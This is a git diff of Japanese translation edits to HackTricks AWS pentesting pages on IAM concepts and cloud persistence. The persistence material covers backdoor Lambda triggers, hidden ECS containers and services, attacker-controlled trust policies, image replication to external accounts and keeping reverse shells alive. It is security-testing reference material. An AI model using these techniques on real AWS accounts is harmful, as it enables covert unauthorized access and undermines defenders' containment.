バウンダリーは、ユーザーに添付されたポリシーであり、**ユーザーまたはロールが持つことができる最大の権限レベルを示します**。したがって、**ユーザーが管理者アクセスを持っていても**、バウンダリーが彼がS·バケットを読むことしかできないと示している場合、それが彼ができる最大のことです。 -**これ**、**SCP**、および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。 +**これ**、**SCP**および**最小特権の原則に従うこと**は、ユーザーが必要な権限以上の権限を持たないように制御する方法です。 ### セッションポリシー -セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**になります:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大の権限はロールが持つものです)。 +セッションポリシーは、**ロールが引き受けられたときに設定されるポリシー**です。これは、そのセッションの**IAMバウンダリーのようなもの**です:これは、セッションポリシーが権限を付与するのではなく、**ポリシーに示された権限に制限することを意味します**(最大の権限はロールが持つものです)。 これは**セキュリティ対策**に役立ちます:管理者が非常に特権のあるロールを引き受ける場合、セッションが侵害された場合に備えて、セッションポリシーに示された権限のみを制限することができます。 ```bash @@ -224,18 +226,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -注意してください、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは第三者の理由によって生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルト(強化された認証を使用)で、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 +注意として、デフォルトでは**AWSはセッションにセッションポリシーを追加する可能性があります**。これは、他の理由から生成されるセッションに対してです。例えば、[認証されていないCognitoの仮定されたロール](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)では、デフォルトで(強化された認証を使用して)、AWSは**セッションポリシーを持つセッション資格情報**を生成し、そのセッションがアクセスできるサービスを[**次のリストに制限します**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)。 -したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ためです。 +したがって、ある時点で「...セッションポリシーが許可していないため...」というエラーに直面した場合、ロールがアクションを実行するアクセス権を持っていても、**それを妨げるセッションポリシーが存在する**ということです。 ### アイデンティティフェデレーション -アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにし、正当なIAMユーザーアカウントのAWSユーザー資格情報を提供する必要がありません。\ +アイデンティティフェデレーションは、**AWSに外部のアイデンティティプロバイダーからのユーザー**がAWSリソースに安全にアクセスできるようにします。これにより、正当なIAMユーザーアカウントからAWSユーザー資格情報を提供する必要がなくなります。\ アイデンティティプロバイダーの例としては、独自の企業の**Microsoft Active Directory**(**SAML**経由)や**OpenID**サービス(**Google**など)があります。フェデレーテッドアクセスにより、その中のユーザーがAWSにアクセスできるようになります。 -この信頼を構成するために、**IAMアイデンティティプロバイダー(SAMLまたはOAuth)が生成され**、**他のプラットフォームを信頼する**ことになります。次に、少なくとも1つの**IAMロールがアイデンティティプロバイダーに(信頼される)割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。 +この信頼を構成するために、**IAMアイデンティティプロバイダー(SAMLまたはOAuth)が生成され**、**他のプラットフォームを信頼する**ことになります。そして、少なくとも1つの**IAMロールがアイデンティティプロバイダーに(信頼される)割り当てられます**。信頼されたプラットフォームのユーザーがAWSにアクセスすると、彼は前述のロールとしてアクセスします。 -ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。したがって、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。 +ただし、通常は**サードパーティプラットフォームのユーザーのグループに応じて異なるロールを与えたい**と思うでしょう。そのため、複数の**IAMロールがサードパーティのアイデンティティプロバイダーを信頼し**、サードパーティプラットフォームがユーザーにどのロールを引き受けるかを許可します。
@@ -243,7 +245,7 @@ aws sts assume-role \ AWS IAMアイデンティティセンター(AWSシングルサインオンの後継)は、AWSアイデンティティおよびアクセス管理(IAM)の機能を拡張し、**ユーザーとそのAWSアカウントおよびクラウドアプリケーションへのアクセスの管理を統合する**ための**中央の場所**を提供します。 -ログインドメインは`.awsapps.com`のようになります。 +ログインドメインは、`.awsapps.com`のようになります。 ユーザーをログインさせるために、使用できる3つのアイデンティティソースがあります: @@ -253,28 +255,28 @@ AWS IAMアイデンティティセンター(AWSシングルサインオンの
-アイデンティティセンターディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。 +アイデンティティセンターのディレクトリの最も単純なケースでは、**アイデンティティセンターはユーザーとグループのリストを持ち**、それらに**ポリシーを割り当てる**ことができ、**組織の任意のアカウント**に対して行います。 アイデンティティセンターのユーザー/グループにアカウントへのアクセスを与えるために、**アイデンティティセンターを信頼するSAMLアイデンティティプロバイダーが作成され**、**指定されたポリシーを持つアイデンティティプロバイダーを信頼するロールが宛先アカウントに作成されます**。 #### AwsSSOInlinePolicy -**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを介して権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。 +**IAMアイデンティティセンターを介して作成されたロールにインラインポリシーを通じて権限を与えることが可能です**。AWSアイデンティティセンターでインラインポリシーを持つアカウントで作成されたロールは、**`AwsSSOInlinePolicy`**というインラインポリシーでこれらの権限を持ちます。 したがって、**`AwsSSOInlinePolicy`**というインラインポリシーを持つ2つのロールが表示されても、**同じ権限を持っているわけではありません**。 ### クロスアカウントの信頼とロール -**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスすることを許可できますが、**新しいロールポリシーで示されたアクセスのみを持つことになります**。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\ +**ユーザー**(信頼する側)は、いくつかのポリシーを持つクロスアカウントロールを作成し、**別のユーザー**(信頼される側)に**自分のアカウントにアクセスを許可する**ことができますが、**新しいロールポリシーで示されたアクセスのみを持つ**ことになります。これを作成するには、新しいロールを作成し、クロスアカウントロールを選択します。クロスアカウントアクセス用のロールは2つのオプションを提供します。所有するAWSアカウント間でのアクセスを提供することと、所有するアカウントとサードパーティのAWSアカウント間でのアクセスを提供することです。\ 信頼されるユーザーを**特定し、一般的なものを指定しないことをお勧めします**。そうしないと、フェデレーテッドユーザーのような他の認証されたユーザーもこの信頼を悪用できる可能性があります。 ### AWS Simple AD -サポートされていない: +サポートされていないもの: - 信頼関係 - AD管理センター -- 完全なPS APIサポート +- フルPS APIサポート - ADリサイクルビン - グループ管理サービスアカウント - スキーマ拡張 @@ -286,10 +288,10 @@ AWS IAMアイデンティティセンター(AWSシングルサインオンの ### その他のIAMオプション -- **パスワードポリシー設定**を設定することができ、最小長やパスワード要件などのオプションがあります。 -- **「資格情報レポート」をダウンロード**して、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。 +- **パスワードポリシー設定**を設定することができます。最小長やパスワード要件などのオプションがあります。 +- **「資格情報レポート」をダウンロード**することができ、現在の資格情報に関する情報(ユーザー作成時間、パスワードが有効かどうかなど)を取得できます。資格情報レポートは、最長で**4時間ごと**に生成できます。 -AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか、どの条件下でアクセスできるかを指定できます**。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保します**。 +AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体で**細かいアクセス制御**を提供します。IAMを使用すると、**誰がどのサービスやリソースにアクセスできるか**、およびどの条件下でアクセスできるかを指定できます。IAMポリシーを使用して、労働力やシステムへの権限を管理し、**最小権限の権限を確保**します。 ### IAM IDプレフィックス @@ -307,7 +309,7 @@ AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体 | APKA | 公開鍵 | | AROA | ロール | | ASCA | 証明書 | -| ASIA | [一時的(AWS STS)アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーとセッショントークンと組み合わせた場合にのみ一意です。 | +| ASIA | [一時的(AWS STS)アクセスキーID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)はこのプレフィックスを使用しますが、秘密アクセスキーおよびセッショントークンと組み合わせた場合にのみ一意です。 | ### アカウントを監査するための推奨権限 @@ -327,7 +329,7 @@ AWSアイデンティティおよびアクセス管理(IAM)は、AWS全体 ### CLI認証 通常のユーザーがCLIを介してAWSに認証するためには、**ローカル資格情報**が必要です。デフォルトでは、`~/.aws/credentials`に**手動で**設定するか、**`aws configure`を実行することで**構成できます。\ -そのファイルには複数のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**そのファイルの`[default]`**と呼ばれるものが使用されます。\ +そのファイルには、1つ以上のプロファイルを持つことができ、**プロファイル**が指定されていない場合、**`[default]`**と呼ばれるものがそのファイルで使用されます。\ 複数のプロファイルを持つ資格情報ファイルの例: ``` [default] @@ -339,9 +341,9 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7 region = eu-west-2 ``` -もし**異なるAWSアカウント**にアクセスする必要があり、あなたのプロファイルが**それらのアカウント内でロールを引き受ける**アクセスを与えられている場合、毎回手動でSTSを呼び出す必要はありません(`aws sts assume-role --role-arn --role-session-name sessname`)し、資格情報を設定する必要もありません。 +異なる **AWS アカウント** にアクセスする必要があり、あなたのプロファイルが **それらのアカウント内でロールを引き受ける** アクセスを与えられている場合、毎回手動で STS を呼び出す必要はありません (`aws sts assume-role --role-arn --role-session-name sessname`) と資格情報を設定する必要はありません。 -`~/.aws/config`ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り`--profile`パラメータを使用できます(`assume-role`はユーザーにとって透過的に実行されます)。\ +`~/.aws/config` ファイルを使用して[ **引き受けるロールを指定する**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)ことができ、その後は通常通り `--profile` パラメータを使用できます(`assume-role` はユーザーにとって透過的に実行されます)。\ 設定ファイルの例: ``` [profile acc2] @@ -351,11 +353,11 @@ role_session_name = source_profile = sts_regional_endpoints = regional ``` -この設定ファイルを使用すると、aws cliを次のように使用できます: +この設定ファイルを使用すると、次のようにaws cliを使用できます: ``` aws --profile acc2 ... ``` -もしあなたが**ブラウザ**用の**類似**のものを探しているなら、**拡張機能**[**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)をチェックできます。 +ブラウザ用のこれに**似た**ものを探している場合は、**拡張機能** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) をチェックしてください。 ## 参考文献 diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md index 77bcc5c20..04cc291eb 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md @@ -10,7 +10,7 @@ SAMLに関する情報は以下を確認してください: https://book.hacktricks.xyz/pentesting-web/saml-attacks {{#endref}} -**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成(**エンドポイント**、**公開鍵**を含む**証明書**)を含む**メタデータXML**を提供するだけです。 +**SAMLを通じたアイデンティティフェデレーション**を構成するには、**名前**とすべてのSAML構成(**エンドポイント**、**公開鍵を含む証明書**)を含む**メタデータXML**を提供するだけです。 ## OIDC - Github Actions Abuse @@ -88,7 +88,7 @@ eksctl create cluster --name demo --fargate # Create an Identity Provider for an EKS cluster eksctl utils associate-iam-oidc-provider --cluster Testing --approve ``` -**OIDCプロバイダー**を**EKS**クラスターで生成することは、クラスターの**OIDC URL**を**新しいOpen IDアイデンティティプロバイダー**として設定するだけで可能です。これは一般的なデフォルトポリシーです: +**EKS** クラスターで **OIDC プロバイダー** を生成することは、クラスターの **OIDC URL** を **新しい Open ID アイデンティティプロバイダー** として設定するだけで可能です。これは一般的なデフォルトポリシーです: ```json { "Version": "2012-10-17", @@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve ] } ``` -このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ということになります。 +このポリシーは、**id** `20C159CDF6F2349B68846BEC03BE031B` を持つ **EKS クラスター** のみがロールを引き受けることができることを正しく示しています。しかし、どのサービスアカウントがそれを引き受けることができるかは示されていないため、**ウェブアイデンティティトークンを持つ任意のサービスアカウント** がロールを **引き受けることができる** ことになります。 **どのサービスアカウントがロールを引き受けることができるかを指定するためには、** **サービスアカウント名が指定される** **条件** を指定する必要があります。 ```bash diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md index f120594be..020a0ae7f 100644 --- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md +++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md @@ -1,4 +1,4 @@ -# AWS - Permissions for a Pentest +# AWS - Pentestのための権限 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md index e4e7da054..efaa58d2d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md @@ -10,21 +10,21 @@ ../aws-services/aws-api-gateway-enum.md {{#endref}} -### リソースポリシー +### Resource Policy APIゲートウェイのリソースポリシーを変更して、自分にアクセス権を付与します。 -### Lambdaオーソライザーの変更 +### Modify Lambda Authorizers -Lambdaオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\ +ラムダオーソライザーのコードを変更して、すべてのエンドポイントへのアクセス権を付与します。\ または、オーソライザーの使用を単に削除します。 -### IAM権限 +### IAM Permissions リソースがIAMオーソライザーを使用している場合、IAM権限を変更して自分にアクセス権を付与できます。\ または、オーソライザーの使用を単に削除します。 -### APIキー +### API Keys APIキーが使用されている場合、持続性を維持するためにそれらを漏洩させるか、新しいものを作成できます。\ または、APIキーの使用を単に削除します。 diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md index 0773a26c5..f26e30dba 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md @@ -18,10 +18,10 @@ Cognitoは、認証されていないユーザーと認証されたユーザー - 認証されていないアイデンティティプールに**IAMロールを付与し、基本認証フローを許可する** - 攻撃者がログインできる場合は**認証されたアイデンティティプール**に - または与えられたロールの**権限を向上させる** -- **ユーザープール**内の属性を制御されたユーザーまたは新しいユーザーを通じて**作成、検証、権限昇格**する +- **属性を制御されたユーザーまたは新しいユーザーを作成、検証、権限昇格**する**ユーザープール**内で - **外部アイデンティティプロバイダー**がユーザープールまたはアイデンティティプールにログインできるようにする -これらのアクションを実行する方法を確認してください: +これらのアクションを実行する方法を確認してください {{#ref}} ../aws-privilege-escalation/aws-cognito-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md index bfcdb5494..633036dac 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md @@ -12,7 +12,7 @@ ### DynamoDB トリガーと Lambda バックドア -DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることにより、**隠れたバックドア**を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。 +DynamoDB トリガーを使用することで、攻撃者はテーブルに悪意のある Lambda 関数を関連付けることによって **ステルスバックドア** を作成できます。アイテムが追加、変更、または削除されると Lambda 関数がトリガーされ、攻撃者は AWS アカウント内で任意のコードを実行することができます。 ```bash # Create a malicious Lambda function aws lambda create-function \ @@ -34,7 +34,7 @@ aws lambda create-event-source-mapping \ --event-source \ --region ``` -永続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的な相互作用なしにAWSアカウント内でコードを実行することができます。 +持続性を維持するために、攻撃者はDynamoDBテーブル内のアイテムを作成または変更することができ、これにより悪意のあるLambda関数がトリガーされます。これにより、攻撃者はLambda関数との直接的なやり取りなしにAWSアカウント内でコードを実行することができます。 ### DynamoDBをC2チャネルとして使用する diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md index 3ecda4461..9c2314930 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md @@ -12,13 +12,13 @@ ### セキュリティグループ接続追跡持続性 -防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**マシンのネットワークを隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます(ただし、NACLはサブネット全体に影響します)、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。 +防御者が**EC2インスタンスが侵害された**ことを発見した場合、彼はおそらく**ネットワーク**を**隔離**しようとするでしょう。彼は明示的な**Deny NACL**を使用することができます(ただし、NACLはサブネット全体に影響します)、または**セキュリティグループを変更して**、**いかなる種類のインバウンドまたはアウトバウンド**トラフィックも許可しないようにします。 攻撃者が**マシンから発生したリバースシェル**を持っていた場合、SGがインバウンドまたはアウトバウンドトラフィックを許可しないように変更されても、**接続は**[**セキュリティグループ接続追跡**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**のために切断されません。** ### EC2ライフサイクルマネージャー -このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことも可能です。\ +このサービスは**AMIとスナップショットの作成をスケジュール**し、他のアカウントと**共有する**ことを可能にします。\ 攻撃者は**すべてのイメージまたはすべてのボリュームのAMIまたはスナップショットの生成を**毎週**スケジュール**し、**自分のアカウントと共有**することができます。 ### スケジュールされたインスタンス @@ -27,21 +27,21 @@ ### スポットフリートリクエスト -スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**立ち上げることができ、**自動IP**割り当てと、スポットインスタンスが**開始されたときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。 +スポットインスタンスは**通常のインスタンスよりも安価**です。攻撃者は**5年間の小さなスポットフリートリクエストを**起動することができ、**自動IP**割り当てと、スポットインスタンスが**起動したときに攻撃者に送信する**ユーザーデータを持ち、**高権限のIAMロール**を持つことができます。 ### バックドアインスタンス 攻撃者はインスタンスにアクセスし、バックドアを仕掛けることができます: -- 例えば、従来の**ルートキット**を使用する +- 伝統的な**ルートキット**を使用する例 - 新しい**公開SSHキー**を追加する([EC2特権昇格オプション](../aws-privilege-escalation/aws-ec2-privesc.md)を確認) -- **ユーザーデータ**をバックドア化する +- **ユーザーデータ**にバックドアを仕掛ける ### **バックドア起動構成** -- 使用されるAMIをバックドア化する -- ユーザーデータをバックドア化する -- キーペアをバックドア化する +- 使用されるAMIにバックドアを仕掛ける +- ユーザーデータにバックドアを仕掛ける +- キーペアにバックドアを仕掛ける ### VPN diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md index fde4fefc8..d22d699c2 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md @@ -4,7 +4,7 @@ ## ECR -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-ecr-enum.md @@ -12,7 +12,7 @@ ### 悪意のあるコードを含む隠れたDockerイメージ -攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットのAWSアカウントで持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルスにデプロイすることができます。 +攻撃者は**悪意のあるコードを含むDockerイメージ**をECRリポジトリにアップロードし、ターゲットAWSアカウントでの持続性を維持するために使用することができます。攻撃者は、その後、Amazon ECSやEKSなど、アカウント内のさまざまなサービスに悪意のあるイメージをステルス方式でデプロイすることができます。 ### リポジトリポリシー @@ -41,15 +41,15 @@ aws ecr set-repository-policy \ } ``` > [!WARNING] -> ECRを使用するには、ユーザーが**`ecr:GetAuthorizationToken`** APIを呼び出すための**権限**をIAMポリシーで持っている必要があります。**これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。** +> ECRを使用するには、ユーザーがIAMポリシーを通じて**`ecr:GetAuthorizationToken`** APIを呼び出す**権限**を持っている必要があります。これにより、レジストリに認証し、任意のAmazon ECRリポジトリから画像をプッシュまたはプルできます。 ### レジストリポリシーとクロスアカウントレプリケーション -外部アカウントでクロスアカウントレプリケーションを設定することで、レジストリを自動的に複製することが可能です。ここでは、レジストリを複製したい**外部アカウント**を**指定する**必要があります。 +クロスアカウントレプリケーションを設定することで、外部アカウントにレジストリを自動的にレプリケートすることが可能です。この際、レジストリをレプリケートしたい**外部アカウント**を**指定する**必要があります。
-まず、外部アカウントにレジストリへのアクセスを与えるために、次のような**レジストリポリシー**を設定する必要があります。 +まず、外部アカウントに対して、次のような**レジストリポリシー**を使用してレジストリへのアクセスを付与する必要があります。 ```bash aws ecr put-registry-policy --policy-text file://my-policy.json @@ -68,7 +68,7 @@ aws ecr put-registry-policy --policy-text file://my-policy.json "Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*" } ``` -次に、レプリケーション設定を適用します: +その後、レプリケーション設定を適用します: ```bash aws ecr put-replication-configuration \ --replication-configuration file://replication-settings.json \ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md index 735bdb1f9..84981b09e 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md @@ -4,7 +4,7 @@ ## ECS -詳細については、以下を確認してください: +詳細については、次を確認してください: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -44,12 +44,12 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[ } ]' ``` -### 既存のECSタスク定義にバックドアコンテナを追加 +### 既存のECSタスク定義におけるバックドアコンテナ > [!NOTE] > TODO: テスト -攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**隠れたバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用されます。 +攻撃者は、正当なコンテナと並行して実行される既存のECSタスク定義に**ステルスバックドアコンテナ**を追加することができます。バックドアコンテナは、持続性を確保し、悪意のある活動を行うために使用される可能性があります。 ```bash # Update the existing task definition to include the backdoor container aws ecs register-task-definition --family "existing-task" --container-definitions '[ @@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition } ]' ``` -### Undocumented ECS Service +### 文書化されていないECSサービス > [!NOTE] -> TODO: Test +> TODO: テスト -攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログを無効にすることで、管理者が悪意のあるサービスに気付くのが難しくなります。 +攻撃者は、悪意のあるタスクを実行する**文書化されていないECSサービス**を作成できます。タスクの希望数を最小に設定し、ログ記録を無効にすることで、管理者が悪意のあるサービスに気づくのが難しくなります。 ```bash # Create a malicious task definition aws ecs register-task-definition --family "malicious-task" --container-definitions '[ diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md index ba05df3e5..bde2d0c86 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md @@ -12,10 +12,10 @@ ### リソースポリシー / セキュリティグループの変更 -**リソースポリシーおよび/またはセキュリティグループを変更することで**、ファイルシステムへのアクセスを持続させることができます。 +**リソースポリシーおよび/またはセキュリティグループ**を変更することで、ファイルシステムへのアクセスを持続させることができます。 ### アクセスポイントの作成 -**アクセスポイントを作成することで**(`/`へのルートアクセス付き)、他の**持続性**を実装したサービスからアクセス可能にし、ファイルシステムへの特権アクセスを維持できます。 +**アクセスポイントを作成する**ことで、ファイルシステムへの特権アクセスを維持するために、他の**持続性**を実装したサービスからアクセス可能な(`/`へのルートアクセスを持つ)アクセスポイントを作成できます。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md index 7ef353def..8c2282088 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md @@ -4,15 +4,15 @@ ## Elastic Beanstalk -詳細については、次を確認してください: +詳細については、以下を確認してください: {{#ref}} ../aws-services/aws-elastic-beanstalk-enum.md {{#endref}} -### インスタンス内の持続性 +### インスタンス内の永続性 -AWSアカウント内で持続性を維持するために、**インスタンス内に持続性メカニズムを導入することができる**(cronジョブ、sshキー...)ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。 +AWSアカウント内で永続性を維持するために、**インスタンス内に永続性メカニズムを導入することができる**(cronジョブ、sshキー...)ので、攻撃者はそれにアクセスし、IAMロールの**資格情報をメタデータサービスから盗む**ことができます。 ### バックドアのあるバージョン diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md index 20c9f0775..cb1a73aa1 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md @@ -21,7 +21,7 @@ ### バックドアロール信頼ポリシー -信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソース(または誰にでも)それを引き受けることができるようにすることができます: +信頼ポリシーにバックドアを仕掛けて、あなたが制御する外部リソースのためにそれを引き受けることができるようにすることができます(または誰にでも): ```json { "Version": "2012-10-17", @@ -42,6 +42,6 @@ ### バックドア / アイデンティティプロバイダーの作成 -アカウントがすでに一般的なアイデンティティプロバイダー(例えばGithub)を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようにします。 +アカウントがすでに一般的なアイデンティティプロバイダー(例えばGithub)を信頼している場合、信頼の条件を強化することで攻撃者がそれを悪用できるようになります。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md index 8ebfb259f..d71c0c82d 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md @@ -16,11 +16,11 @@ ### 永続的な付与 -付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与(同一のものでも)を持つことができます。 +付与は、特定のキーに対してプリンシパルにいくつかの権限を与える別の方法です。ユーザーが付与を作成できるようにする付与を与えることが可能です。さらに、ユーザーは同じキーに対して複数の付与(同一のものも含む)を持つことができます。 したがって、ユーザーはすべての権限を持つ10の付与を持つことが可能です。攻撃者はこれを常に監視する必要があります。そして、ある時点で1つの付与が削除された場合、別の10の付与が生成されるべきです。 -(ユーザーがまだいくつかの付与を持っている間に付与が削除されたことを検出できるようにするために、10を使用しています。) 